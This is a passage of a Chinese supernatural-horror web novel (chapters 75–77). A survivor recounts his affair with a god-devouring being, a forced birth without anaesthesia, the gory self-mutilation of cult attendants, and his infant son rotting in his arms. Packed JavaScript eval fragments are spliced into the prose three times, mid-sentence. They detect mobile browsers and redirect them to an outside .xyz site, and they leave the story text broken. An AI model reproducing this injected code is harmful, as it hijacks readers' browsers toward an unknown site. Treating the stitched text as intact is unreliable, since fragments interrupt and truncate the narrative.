*他们将耶稣带到哥耳哥达,解说「髑髅」的地方。 ——马尔谷福音15:22/《玫瑰经》痛苦四端 庄晓的这段人生故事拆成碎片,在这家五星酒店里辗转,在非人之间交谈、眼神、叹息和隐藏中辗转。 这群人里,纯然是人类的只有施霜景和庄晓。施霜景沉默地好奇着,收集完了这个故事,不知道是否是正确版本。在所有人里,庄晓最愿意对谈的也是施霜景。庄晓与这些强大却不知是否可信的人交谈,是第二轮耗尽气力。待到气力稍有恢复,他对施霜景的第一句话是:“你不该和他们掺和在一起。” 庄晓,二十二岁大学毕业,二十三岁没有找到工作便成了家里蹲,与父母就只是断骨连皮的关系,父母离婚,母亲改嫁,父亲死不争气,遭老人打了出去,从此十年至多只见两次。 庄晓与爷爷奶奶住,在大城市的老区开糖水铺。看庄晓是个有手有脚的大学生,毕了业竟然还找不到工作,奶奶就一天三顿蒲扇抽他,好歹把庄晓抽进了厨房,同老人学做糖水。学了一年,很有模样了,爷爷奶奶有一天掏出一枚红包,说里面是给庄晓开的工钱,哪能要小孩打白工。庄晓捧着红包眼红红,报了港岛的甜点学校,势必学成回来将糖水铺开成连锁、做成品牌。 在香港学西厨做烘焙的日子可真的很辛苦,鸽子笼住处,暑热天气,学来学去还越来越迷茫,庄晓学了不到一年就意识到自己最大的问题之一,那就是太书生脑子,干什么竟然都学学学。他学烘焙的西厨学校靠近荔枝角,有时庄晓下了夜课,带上做好的烘焙去荔枝角公园,夜里公园的灯光还很明亮,夜跑的青年与散步的师奶都让庄晓想起内地,他找花坛边沿坐下,吃自己的烘焙,一年下来胖了二十斤。后来他也养成在荔枝角夜跑的习惯。 他与纪复森就是那时夜跑认识的。一个外国男人,每周四天夜跑,风雨无阻。庄晓不与人搭话的,只是观察这个长相太过出众的男人,私下在网络上搜索许多遍,确认不是明星或者网络红人。一天纪复森没穿夜跑的服装,庄晓拎了一袋子烘焙,两人在公园里终于对上了眼神。庄晓跟纪复森去了他在美孚的房子。纪复森那时还骗他,这是他父亲在八十年代买的,那时美孚还以大三居九龙豪宅出名呢。但其实那就是纪复森的房子。上世纪八十年代时,他早已在香港许久了。 纪复森吃甜品,更喜欢把甜品弄到庄晓身上吃。吃挞就在庄晓肌肉上压碎粉末,吃蛋糕就将奶油和软胚糊成一团再舔再尝。庄晓以为那是再普通不过的谈恋爱,在各种信息搜集和旁敲侧击下,庄晓知道纪复森是做收藏拍卖生意的。 认识半年了,庄晓才第一次见到纪复森的藏品。纪复森自己住美孚,却有一整套半山新别墅来放藏品。庄晓实在太不理解了,纪复森只说,他喜欢有人的地方,喜欢地铁就能到的地方,喜欢藏在人里。 藏品么,无非就是字画、珠宝、金银玉石器具、造像之类。纪复森的别墅里,这些藏品都摆放得相当随意又耐人寻味。散在沙发上的珠宝——成套的项链、耳环、手镯像是佩在了一具看不见却横陈在沙发上的女尸上。宗教造像面壁或沉在屋外的泳池里。一把闪亮的银钺刀替代钟摆,在落地钟的玻璃罩内左右摆割。庄晓问纪复森为什么这样陈设藏品呢,这些都是你的货物还是你的收藏?纪复森说,都是,都没差别。纪复森没有回答庄晓为什么,这很一目了然,庄晓总会懂的。 谈爱一年,庄晓总是不能睡好,整夜整夜地做梦,梦里他不在纪复森家或是自己曾经租住过的房子,他在很陌生、很华美但也很阴森的床帏中醒来,既东方也西方。有几次他在梦里好想下床,伸手去掀床帏,布料沉重似铁,金丝勾破他手指。他在梦里一直吮手指头,疮口却愈来愈大,大到手烂掉,手腕骨暴露出来,像是有看不见的虫子在吃他的肉、喝他的血。每每梦见这样的怪事,庄晓醒来都有种做梦中梦的不真实感。现实与梦境的分别更大了。 唯一可以确定的是,纪复森爱他,他爱纪复森。纪复森长着一张外国相貌,可几乎他用过的语言都流利得令人赞叹。庄晓虽是粤人,但两地的粤语口音还是有差异,纪复森就学庄晓的口音,学到直接仿佛改掉祖籍一样发音自然。纪复森是生意人,当然有应酬,但他应酬竟然也带庄晓去。庄晓不知道为什么应酬局上那些人的眼神都好像有些凶锐,或是呆慢,反正也像是在做噩梦一样的眼神。纪复森说搞收藏的人大多都有自己的心病、心魔以及执念。人有执念了就嗔痴,嗔痴很丑。 有一天纪复森带庄晓开游艇听演唱会,随意地烧点汽油,大艇小艇在灯光里浮沉。歌很动人,感情也是。庄晓看见黑沉如墨的水上倒映颜料般的光点,始终觉得他和纪复森大概就是这样的关系。他对纪复森的推测是有钱但应该也成立了家庭的外国富商,看起来年轻,实际多少岁呢?庄晓不想去猜了。甜点学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504375|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校结课,庄晓想回家,想急流勇退,觉得停在最美好的时候也不错。唉,早知道就去他家别墅偷一条翡翠项链了。庄晓不贪,两百个,够开店就好。好吧其实他还是又贪又捞。庄晓问纪复森,你是认真的吗。纪复森撑着脑袋听伤心情歌,就好像跟歌曲一样断肠。曲毕,纪复森说,我当然是认真的。你想住到太平山上去吗? 纪复森带人将那些藏品都搬回他的私人博物馆,空出别墅来养庄晓。庄晓赤着脚在瓷砖地上走,饶是在湿热的港岛之夏里,地砖都冰得脚腕骨发疼。家里剩下的藏品不多,最为壮观的还是一整面终于打开来的书墙。庄晓不知道纪复森是怎么考虑的,只觉得纪复森肯定不喜欢别人拜访他家,所以什么娱乐的电视影音设备都不留,改成比攀岩墙壁还高的大书墙,从前都藏在木板之后。纪复森对庄晓说,你在家无聊,就随便看看。没有什么是你不能看的。 家里请了钟点工,从来不用庄晓收拾。庄晓没有驾照,出入都要叫车,或是纪复森开车载他。庄晓渐渐发现,好像围绕他身边的人都呈现一种嗔痴样,要么愤怒有余,要么理智不足。他好几次见到钟点工在书墙前下跪磕头,磕得额角血淋淋的,庄晓吓坏了,去叫救护车,钟点工却尖叫一声,推开门就往泳池里跳。庄晓去救人,却觉得泳池底深如海,他一米八几的个子,一米五的泳池怎么会这么深?钟点工往水底沉,庄晓拉不住,最后家里发生命案,可到头来竟然没有警察带走庄晓去调查。 这些尚且还属于人类的世界。 纪复森似乎对船或是舰艇之类的意象感兴趣,庄晓知晓后,经常陪纪复森坐游艇出海。一次夜里,纪复森将游艇开出去非常远,远到璀璨光明的港岛竟然都只像烟火的余烬了。庄晓有些害怕,万一游艇没油或是遇见大风浪怎么办,毕竟不是大艇。纪复森觉得担忧恐慌的庄晓很美味,将他压在沙发上X。庄晓的恐慌越来越重,不是纪复森撞他,而是船好像原本就开始大晃了起来,有几次甚至庄晓觉得船身倾斜超过最大倾斜角了,马上就要倾覆。海的另一侧雷光大作,不祥的黑影在云间缠绕、翻滚,倏忽间又觉得那浓重的恶意靠得非常非常近,在正大光明地旁观这一场不知死活的X爱。庄晓被X得吐出来,可是海上没有地方可逃。他甚至连甲板也不敢去。他觉得有东西等在外面。纪复森的手和身体突然好冷好冷。纪复森的呼吸好冷。 庄晓很确信,庄理安就是在那一天晚上有的。 75.旧日幸存者篇(二十七) *这是我的爱子,我所喜悦的。 ——玛窦福音3:17/《玫瑰经》光明一端 讲到这里,庄晓停下。套房的软床上只有庄晓和庄理安,那孩子早已睡去了。大人们——那些被视作问题解决者的人们在客厅对谈。 夜已逝大半,繁华城市的夜好像没有什么不一样,不论近山的近海的,都沉在玻璃楼、交通灯、黯然男女的故事场里。施霜景仍然目光灼灼,听课一样的神情。施霜景搬了张椅子坐在庄晓的床边,说不上是照顾庄晓,因为庄晓并不需要谁来特别照顾,到晚上的他已经不觉自己虚弱了。只是因为庄晓愿意将自己的事说给施霜景听,施霜景就留在原地听。 细听下去,那些共处的细节虽全不一致,但性质很相似,普通的人类如何走着走着就掉入闪着蜜糖与钻石光泽的陷阱。 自认识纪复森已八年过去,如今庄晓很快就提炼出最核心的问题:为什么是他? 为什么是他?愈在太平山顶住,愈迷失自身身份。 纪复森掬起手掌,那已远的、余烬般的港岛像他手里的一顶冠冕。在游艇上,他说,愈是小而拥挤的地方,人愈是要钻进去,我们用钱或者权力或者信仰的糖粘住他们,再漂亮的船、岛、都市,最后都变成蚁窝。我喜欢蚁,错综复杂、各司其职,但不往天上看,从天上来的东西都是正当的。太深的地下也不会去,从地下来的东西也是合理的。将他们往中间挤压,这个世界便诞生了。 庄晓以为纪复森在讲资本、阶级与权力,他听不懂便不听了。而后纪复森找出装备,在游艇上观星。这人的爱好符合庄晓对这类人的定义,甚至超出了定义,因为纪复森的一举一动好像都出于目的,而不是出于爱好,但这也只是庄晓隐隐约约的感觉。庄晓盖着薄毯,在沙发上睡到后半夜,再一醒来,恍惚间觉得有什么冠冕一般的亮物自海上升起,侧躺看时觉得如山,坐直了看又像是岛,正三角或倒三角的金字塔形,一瞬间就消失不见了。纪复森收了观星望远镜回来,庄晓问他有没有看见,纪复森问他,应该看见什么?庄晓没回答,纪复森搀着庄晓,将他带去游艇甲板看海。那是一片完全平静无波的黑海,游艇在黑色天鹅绒上航行。有那么一瞬间,庄晓以为纪复森会将他推下甲板、推进那柔滑的黑暗中。 三个月后,庄晓忽然夜半起乩,满头湿汗,那仿佛会吃人的床帏可以拨开了,庄晓跳下床,发现这是他家,他和纪复森在太平山顶的家。往外的门窗都封死,庄晓一整夜在别墅中赤脚奔跑,敲门,找纪复森,家中空无一人。正当他心灰意冷之时,他听见好像地下室方向传来纪复森的声音,喊庄晓名字。庄晓的大脑混乱非常,跌跌撞撞推门下去寻人。一层,二层,五层,十层。庄晓在楼梯上气竭,一停下却更加害怕。那声音又好像在头顶上响起了,庄晓不敢再往下,遂上楼,一层,二层,五层,十层,还是没有尽头。庄晓不信命,往上继续爬,爬至精神恍惚,纪复森拍打他的脸,给他擦汗,叫醒庄晓,原来他在做梦。庄晓醒来后觉得身体非常非常劳累,纪复森接水喂他,让他抬臂,给庄晓换一身干睡衣。 庄晓,你听我讲。 什么? 我讲了以后,你不要惊讶,也不要生气,更不要伤身。 你到底要讲什么? 有东西在你身体里。 东西?什么东西? 会让你发梦的东西。它没有那么坏,只是让你发梦而已。 是你做的吗?到底是什么东西?是家里有什么受诅咒的藏品吗?我早就知道。我早就知道会是这样。 不是。你先好好睡觉。白天我带你去医院。 纪复森,你等等。为什么去医院?我生病了吗? 不是生病。这是一件很幸福的事。 在医院里,庄晓痴痴地盯B超屏幕。医生说,看看这里,一个胎囊,但是有两个胎芽、胎心。纪先生,恭喜你,双胞胎,好福气啊。男人生仔很稀奇哦,你要好好待你老婆。纪复森第一次露出幸福而餍足的表情,庄晓好疑惑,到了家还觉得这不是真的。 肚子里的双胞胎让庄晓无法好好休息,过去混沌的噩梦变得清晰而真实。起乩,意为有灵上身。庄晓在梦里时常有被操控之感。很快他就发现,往地下深入的无尽阶梯其实有尽头,有一次他在那里找到一扇铁门,推开来,发现一片新天地。那好像是一片朦胧而诡谲的户外,天空是亮紫色的,巨大的星球、中号的星球、渺小的星球同时悬挂在紫色云海里,像某种艺术景观。也有往向上的楼梯走的时候。向上的楼梯通往一片人声鼎沸的土地,很长一段时间内,庄晓都以为自己见到的那些人只是自己的臆想,无法猜出那些人其实是旧神的囚徒。 除此之外,庄晓开始读纪复森的藏书。一些书在他眼中好像闪烁着异光,就算要爬十多级活动台阶站在半空中,他也要取下来,厚厚一本夹在臂弯里,再扶着台阶下去。明明家里有书墙,明明港岛多湿热,可怀孕至中期,庄晓时常觉得浑身发冷,遂点燃书墙对侧的壁炉。壁炉前放一张躺椅,庄晓就着壁炉火光念书。说是在念,其实是乱猜、做白日梦。书上的文字是英文字母的组合,但并非任何一种欧陆或美洲语言。翻过一页,庄晓的脑海里就会浮现出不可名状的形象。今天是狮头女子,明天是瘦高异人,后天是鱼面家族。有时庄晓会打开电脑,记录一下这些白日梦,可每次重新打开都找不到这些文件,庄晓一边怀疑自己是做梦太深,一边又怀疑这是纪复森删他文档。 现在想来,纪复森的态度本就奇怪到应当响警钟,可那时几千上万个奇怪信号闪过去了,庄晓也没有发现。大脑出现问题了,器质性的,精神性的,都有,直到现在也没好。纪复森说做梦没关系的,做收藏家的老婆就是这样子,怀孕正是虚弱,一定要原谅自己的疯癫。我一直在这里。庄晓想去烧香,纪复森也陪他去,甚至庄晓不想让人看见自己身材的异样,纪复森就打点庙公,大半夜开门专门迎他们进去。一拜,两拜,三拜。没有任何用。 庄晓对施霜景说:“我过去一直在想,为什么是我?后面我才发现,是不是我都没关系,不要紧。” 施霜景紧张地咽了咽口水。如此疑问,施霜景也曾有过,不,直到现在他也疑惑同样的问题。 “我是疯得最晚的人。以前那些人,第一天、第十天、第三十天就疯了、自杀了。我给纪复森当了一年的床伴,还记得自己姓甚名谁。我甚至还成功受孕。我只是‘部分’特殊。我不知道他以前有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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庄理安的手没有力气,握不住刀叉。庄晓教他过后,并不帮他的忙,任由庄理安的刀叉一次次落在桌上,再颤抖着手重新握住。三次举叉,只有一次顺利将圣女果送入嘴里。圣女果迸溅的汁液滴在桌上,施霜景顺手擦了。庄理安是人类与怪物的混血。为什么施霜景见到他却只想流泪? “我有什么能帮忙的吗?”施霜景问道。 “纪复森在你的家里留下风洞,说不定他打过你的主意。可为什么是现在才找上你呢?或许他也想收割佛子,或许是你在遇见佛子之后才符合他的要求。你们都可以是他的目标。我不知道。我不知道你们对上纪复森,哪边会赢。我太累了。” 施霜景泛起一阵恶寒。忽然他想起昨天故事里一个遗落的细节,庄晓说这些经历时一点不避讳庄理安,施霜景遂问:“不是双胞胎吗?庄理安还有兄弟姐妹?” “已经死了。” 叉子再次落桌。庄晓接过庄理安的刀叉,切下一块华夫饼,喂给庄理安。 他是一个多么漂亮的孩子啊。原本应该还有一个的。施霜景惊诧之余,还有些替代性的心疼。 “有时祂们玩弄生育,可祂们并不想要后代。” 庄晓昨日没有一口气说完这一故事,是因为他一想起也疼痛难忍。调整一晚,决定还是要说。这与神或是与人无关。人不能这样天真而不顾后果地活,否则最惨痛的结局一定如影随形。 76.旧日幸存者篇(二十八) *你们拿去吃吧!这是我的身体。 ——玛窦福音26:26/《玫瑰经》光明五端 “那年冬天,港岛气温创最低值,晚上最冷的时候竟然低过零度,街上冻死人。我在家里烧壁炉,佣人三天来打扫一回,后来我也不希望有人上门打扰我了,就全部自己来。我的活动范围很小,只有卧室、厨房和客厅而已,打扫没有那么难。我变得很害怕声音,也畏光。整夜整夜做梦让我心力交瘁,明明是怀双胞胎,体重掉了三十磅,瘦得像骷髅。看书看到最后,我总是情不自禁流下眼泪,很难过,像在读好多好多遗书。不用打扫转移注意力的话就会被这些痛苦的声音和画面带走。纪复森时常不在家。其实他在家也没有用,我每天都很恍惚,不关心他在或者不在。换句话说,我从来没有觉得他真正离开过。我分不清楚他的声音是幻听还是真实,除非他走到我身前,要我陪他。就算看到他又怎么样?也可能是幻觉。很多次我以为他在家,可一转眼他又不在了。逃出去,外面又冷,我又是个怪胎,怀孕的男人,我要怎么逃。后来就连产检都在家做。纪复森说,担心的话就在家里生好了,一切都会准备好。我觉得麻烦。我只想快点让小孩出生,我不想再做怪胎了。我害怕。我那时还以为自己是抑郁。 “很快,那一天还是到来了。来接生的医生不是替我做产检的医生,护士也全不是眼熟的护士。我不知道他们是什么人。我和纪复森定好,我要做剖腹产,毕竟我是男人,我没有产道,顺产的话要怎么生?医生护士来布置的前几天,纪复森陪我熟悉这一切,流程怎样,医生要做什么,护士要做什么,上什么样的麻醉……疼痛到来的那天,护士教我呼吸的办法,我体内的不是子【隔离】宫,但她还是说宫缩,让我数宫缩的次数。那天岛上挂八号风球,冬天哪里来这么猛烈的热带气旋,而且近岸了还有那么大威力?产房设置在二楼,他们拉上窗帘,劲风捶玻璃,我们家都是大扇大扇的玻璃窗户,我害怕在我生产的时候玻璃就爆掉,纪复森在的话,他应该要想想办法。可是纪复森不在。那天纪复森从头到尾都没有出现过。 “我给他打了好多好多电话,都断线了。护士要我数宫缩,我很痛,我数不了,当初我和纪复森商量好的,如果我痛,就捏他一下,他来替我记。纪复森不在,我找不到他。起初我非常生气,我躺在产床上咒骂他全家,骂着骂着忽然想起,他会不会出海了,他会不会不看天气预报就开着游艇离开港岛,他之前就干过这种事。我打电话报警,打不通,我开始怀疑是不是我的手机坏掉了,就求医生和护士,你们打电话给纪复森,你们报警,纪复森可能出海了。护士清点器械,三个医生聊天聊作一团,没人理我,好像我是个透明人一样。我不知道为什么会变成这个样子。我不想生了。为什么没有人理我,为什么要这样对我。我想逃,护士发现了,和医生一起,给我的双腿上捆带,说怎么可能不生,纪先生想要的就是你乖乖生下来,不要闹脾气。 “以前常有人拿各种疼痛作比较,其实什么都没得比,完全没得比。之前说好要剖腹产,我听说局麻会有拉扯肚子的感觉,我就连这种感觉都害怕,所以我想要全麻。然而事实是,他们都看着我生。没有手术,没有麻醉,甚至没有无痛。我觉得我要死了。不,是已经死了,现在的我只是那时的一缕执念接管身体。我头一次发现家里的灯是青色的,我盯着灯看,几乎把眼睛都要盯瞎。太痛了。我能感觉到他们卡在骨头里,没有办法出生。我被骗了。可我到底是犯了什么错,要被纪复森这样骗?被这些人这样骗?这时候医生开始推我的肚子,我变成一次性的容器,他们用过就会把我扔了,就是这样。我又痛又害怕,精疲力竭,不知道为什么会这样,不知道台风什么时候停下,不知道我什么时候会死。如果他们不捆住我的腿,我会翻下床去找手术刀自杀,割开我的喉咙。 “真是不知道过去了多久,疼痛好像没那么剧烈了,就好像身体里那种想要闯出来、要见到光明的力量逐渐消逝了,有点像是绝望的感觉。我一方面觉得轻松了一些,一方面意识到,可能是产程太长,孩子已经要不行了。我不知道我哪里来的力气,竟然还去求在场的那些人。后来我才知道——他们都是那些疯子……纪复森会吃神,更会玩弄那些神留下的信徒。你明白吗?纪复森把那些人当玩具,也把我当玩具。他大概是交代了什么,逼迫那些信徒替我接生,可是信徒比我更清楚我的身份,我甚至比他们还低劣一级……我是信徒们都可以玩弄的对象。只要孩子出生,我就可以被丢弃。我不清楚他们在场为什么不用手术刀划烂我的肚子,可能他们觉得放任我疼痛更有趣味。我猜不到。以后也不想猜了。我这些年杀了很多很多这样的信徒。 “我的孩子要死了,这时他们才给我打了什么针,我不知道,但那之后的疼痛几乎要逼我马上就去自杀,我崩溃了,大叫大闹,大哭大喊,第一个孩子很快出生,紧接着是第二个。你不要用这样的眼神看我。在我叛逃之前,我给纪复森做狗,我求他替我治,治好我才逃走了。只要纪复森对我还有欲望,他就会治好我。我什么尊严都没有了。双胞胎出生,我静静地等死,等待受凌辱的时刻到来,可那个时刻永远没来,因为——那些信徒疯了。彻底疯了。 “纪复森是那样的存在,纪复森的孩子即便是混血——也继承了一点。不,是几乎全部继承。在场的那些医生、护士,很快就神志不清、癫狂呓语,在房间里做出骇人的事。我见到一个医生咬下了另一个医生的生殖器,护士用手术刀往舌头上刻纹,用医用剪刀剪自己的□□。血。一见到血,事情更加失控。他们全部鼠行一般匍匐在地,好似是在彼此交谈,但实际上是在与幻觉交谈。我渐渐见到他们的□□腐坏了,皮肉熔化,一个护士低着头,眼眶与另一个护士的脚跟粘连在一起……他们最终都熔成一片,就是这样的画面。我只能躺在产床上无力地呼吸。没有孩子哭。渐渐地,就连信徒们发出的异声也全部消失。 “等我恢复力气以后,我撑起身体,掀开手术巾,以为我会看到最恐怖的画面……但他们只是最普通的婴儿而已。真的。刚出生的婴儿很丑,身上沾满胎脂和分泌物,但他们都是人类的婴儿。我不知道该怎么办。我对地上那些东西什么感觉都没有。我只知道应该要让小孩哭。我不知道哪个孩子是哥哥、哪个孩子是弟弟,只能先抱起一个,想办法弄哭他。谢天谢地,我手里的孩子很快就哭了。那时我以为是得救了,赶紧处理另一个,但我突然听见了有人开别墅大门的声音。是纪复森回来了。 “我那时脑子真的不清醒。明明应该这样做,但我的身体会自动自觉按旧方法处理。我很不争气地开心了几秒。我发现另一个孩子虽然没有哭,但是似乎已经有呼吸了,胸膛微微起伏,鼻孔和嘴巴里都有轻微的气流。我先处理的孩子,哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“别人都说刚出生的小婴儿像豆腐一样。不是的,其实只是小兽而已。他们很柔软,但他们绝对不像豆腐。哥哥的触感……婴儿体内有很多的水分……你知道吗,婴儿的尸体腐化往往是从内部开始的。刚出生的婴儿太小了,太轻了,骨头都像是水做的,死了也不会发硬。当我注意到的时候,他已经很软很软了……我低头看他,忍住了尖叫的冲动,但我那一刻完完全全地崩溃了。 “他在我的怀里迅速地腐烂,褐色、黄色、红色、绿色……我几乎抱不住他……他从我怀里流出来……我不敢跑,我只能走,我在找纪复森,怎么会这样……怎么可以在我的手里、我的眼前就这样死去,以这样的方式……他流到地毯上,他渗进我的衣服……刚刚还是一个婴儿,现在只是一团腐烂物……我还没有做好准备……就算是死亡也不应该这样…… “我再也走不动了。我跪在地毯上,直勾勾地盯着他的残余。他正在消失。就算是腐坏,就算是腐坏也应该剩下些什么,可就连那些最恐怖的颜色都逐渐淡去,从我的衣服上,从地毯上,从手术巾上,从我的眼里……淡去了,像不曾存在过。呼吸。不是我在呼吸。不是我怀里另一个婴儿在呼吸。是什么东西的呼吸,一种呼吸的意象。是房子吗,是那些壁画,是地毯,是桌椅,是走廊本身,是什么在呼吸…… “是他的死戳破了我脑海里癔症的那层膜。那层五光十色的、自欺欺人的膜。 “是纪复森吃掉了他。他原本应该继续吃掉庄理安,但纪复森为他自己留了回味的期限。他发现自己的后代是所有任何旧神或是古神都无法比拟的无上佳肴。下次能拥有后代不知道会是什么时候,纪复森暂且留了庄理安一命。时至今日,他应该也还很想念食用子嗣的味道。我从来就没有真正地逃离过。我每天都会想,纪复森或许仍然在饲养我和庄理安。什么都不会好。我们都只是旧日的亡魂,持续产生活着的幻觉。” 施霜景完完全全震撼了。他无法想象庄晓是付出了多少努力才走到现今这一步。 “恐怖”一词已经不足以概括这一段人生。这是吞吃掉庄晓整个人的癌,无限增殖,无限侵蚀,连死也不能解脱。 77.旧日幸存者篇(二十九) 一个人搜肠刮肚地讲自己的经历给另外一个人听,往往会希望对方不要仅仅当做听一个故事,不要以轻佻的态度只将其当做一个故事。施霜景将庄晓的经历装进心里。没有谁会问施霜景到底听了什么,因为庄晓事先已经讲过两遍了——向罗爱曜讲一遍,再向蒋良霖和郎放讲一遍。细节上有出入,但版本上是施霜景所听的最为完全。庄晓向施霜景讲的,恰恰是别人或许不想听,或是庄晓不愿意向他们说的。一个太幸福的家庭或是一个太优势的人会怎么看待他这个贪婪的可怜虫?施霜景长了一双会为别人的遭遇感到抱歉的眼睛,庄晓能看出来。 施霜景回到房间,发现地毯上散落着麦黄色宝珠,他蹲下一看,发现是之前罗爱曜给玉米戴的蜜蜡串珠。 这串蜜蜡怎么会突然断线?施霜景连忙跪在地毯上找珠子,当事猫睡在他们的双人床上,看了让人有点来气,可惊醒了玉米,它可能就要用小爪子将蜜蜡推到更深处。施霜景只能飞速地搜寻。 罗爱曜不在酒店。施霜景找散落的蜜蜡珠找得挫败,坐在地上,这时微信来了消息,是一诊成绩单。 群里的家长都要回复“已收到”,一连串消息刷屏下来。施霜景往上滑,找到成绩单的文件,点开,全班的分数和排名都一目了然。 施霜景考了二百八十六分。语文九十三,数学四十四,英语五十一,理综九十八。 嗯……还可以?施霜景一怔,好一会儿才反应过来,他这不是“还可以”,而是“相当可以”了!要知道他为一诊做的模拟卷也才总分二百二十二! 一个满分七百五十分的考试,为了二百来分开心,施霜景是真的乐天。这“好消息”还算有效地冲淡了他的忧愁和悲伤,尽管只是冲淡了一点点。 施霜景坐在地毯上,举目四望,装饰华美的酒店会让他联想到庄晓所说的太平山顶别墅,一些糖衣炮弹,金钱与偏爱……施霜景长长地吐出一口气,他不愿意把人无端地加以对照,但某种危险性不可以当做不存在。 施霜景,你得保持清醒。施霜景提醒自己道。不仅是清醒,还得认清自己是什么样的人。他们有他们的世界,你有你的世界。强行进入到那个世界去,死亡就会定时来访。最可怕的不是不知道往哪里逃,而是理智上知道了要离开,可想要逃走的情绪永远压在冰山之下,泛滥的则是贪欲。甚至是爱欲。 施霜景,你的猫和你自己,这就是全部的阵地了。你必须守好它们。 想到这里,施霜景并不如他名字一般,可以执着剑客的誓约。他倒是想,但他没有这能力。施霜景又有点回到孤零零的状态中了,守住的只是手里的钥匙,不可以轻易地开门。不能像最初见面时那样,他还没来,你就已经在等。 罗爱曜无暇顾及人类的想法、感受。在他看来,既然问题迫在眉睫,那缓解情绪的唯一方式就是解决问题。 那天罗爱曜摧毁残碑,遇见庄晓,逼迫庄晓交上装有他儿子庄理安的怀表相框,庄晓自然是不愿意给。罗爱曜有心要调查清楚到底发生了什么事,先从地铁站一事开始问起。 据庄晓所说,那个名为纪复森的家伙是很早就徘徊于这颗星球的吞噬者。介绍纪复森之前,庄晓需要介绍的是那些事先造访的神,来自异星和更为造物主崇拜的宇宙文明。庄晓介绍他们的时候活像个疯子作家,都像是他编出来的。然后是介绍那些原住民。既然宇宙或是其他星球有能力孵化出这样不可名状的生物,地球没理由做不了同样的事。原住民的异种的神与宇宙同寿命,现今仍有许多原住神没有孵化出来,而当他们没有孵化时,他们约等于不存在。 如果这样简单地以内外而分,那纪复森是一类特殊的存在。祂从没有离开过地球,却从来都不认为自己属于这里。祂既不是原住神,也不是外神在地球的弃子。祂只是祂。 纵使庄晓为纪复森生育过,但他对纪复森的了解也仅仅只如一粒尘,他只能寄希望于无限放大这微观的一面来猜测全貌。纪复森从很早很早以前便开始收割这些异种,当文字这种记录方式存在之后,纪复森就更找到了收藏的乐趣。祂不仅收割神,还收割、收获神的信徒。当神遭吞噬之后,只会进入纪复森的书册,存放于纪复森的空间。庄晓在别墅里所见的书墙根本就只是沧海一粟。纪复森在做祂自己的屠神图书馆、博物馆,如此兴致盎然,但有时又会显出惊人的空虚与寂寥。 在地铁站里如幽魂一样盲目却缓慢地狩猎的是奈亚拉托提普分身神所奴役的某种灵,目的是捍卫和供养这一分身神的后代,只可惜这一分身神大抵在世纪初就已被纪复森分食完毕。其信徒与后代在意志癫狂的情况下,将自己留在地铁中,由于威力大减,只能零星地造出恐怖事件。这些后代往往要在异族亲属的呵护下才可以成长,因此这一分身神的后代一出生便是没有结果的死胎。 庄晓所说的地脉圣母则属于原住神,顺势、顺时地孵化,感受地表上新新人类的存在,融入,与信仰结合,找到自处的方式,有时欺瞒奴役人类,有时与人类互惠互利……可惜最终还是在十九世纪初便被纪复森狩猎而亡。庄晓把纪复森比喻成鬣狗,因为纪复森最会趁虚而入、玩弄猎物,祂一边食用神本身的存在,一边还食用它们的恐惧、癫狂、错乱和绝望。鬣狗喜好群居,纪复森需要紧紧地依附着人类社会来寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512226|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢作乐。非洲大草原上随处可见鬣狗,而纪复森亦是为了狩猎而无处不在。 罗爱曜进地铁站找到线索,这绝非纪复森的设计。罗爱曜是佛子,他对这类异常的探寻能力异常强大,换句话说,这些异常难逃佛眼。佛有降妖伏魔之能力,有时其实并不出于道义,而是清理佛眼所见的污秽,这是一种毫无判断的无情,因为污秽所以不容。但罗爱曜是佛子不是佛,他会问为什么。罗爱曜提到,他是误见那沙漏般的巨大移动物才赶过去,庄晓沉默半晌,奉上他的解释。 那不是什么沙漏,而是纪复森凭借祂的臆想而造出的“飞船”,用罗爱曜的话来形容便是“星槎”。说是飞船,但庄晓不觉得纪复森真的想要离开地球。纪复森放任了他那非人的天真,但又对离开地球之后的一切事物感到天然的不安,就好像这种全知全能的状态会破灭一样。纪复森会用这个倒金字塔形的飞船收容信徒和存放藏品。沙漏这个说法其实也没有错,因为金字塔有时正置,有时倒置,好像纪复森总是有意地调整祂的游乐场和祂的博物馆,但总体而言,那对活人来说是一个永眠的牢笼。纪复森会用人类干任何事。 之后罗爱曜结合蒋良霖提供的地图,很快判断出来,纪复森应该是利用水来调整祂的金字塔正反,规整祂的各色藏品、藏人。现在最麻烦的事在于纪复森已经盯上了龙女和施霜景,而龙女是罗爱曜所需要的,施霜景是罗爱曜所更需要的。在庄晓叙述的当下,罗爱曜甚至能感觉出来,纪复森或许也会想要狩猎他。 那些与罗爱曜失去联系的天人或佛国众生也会与纪复森有关吗?一想到这个问题,再与蒋良霖一合计,蒋良霖担心他曾经所关心的钟山神也早已遭难,那么,他们就必须抓住这个机会。 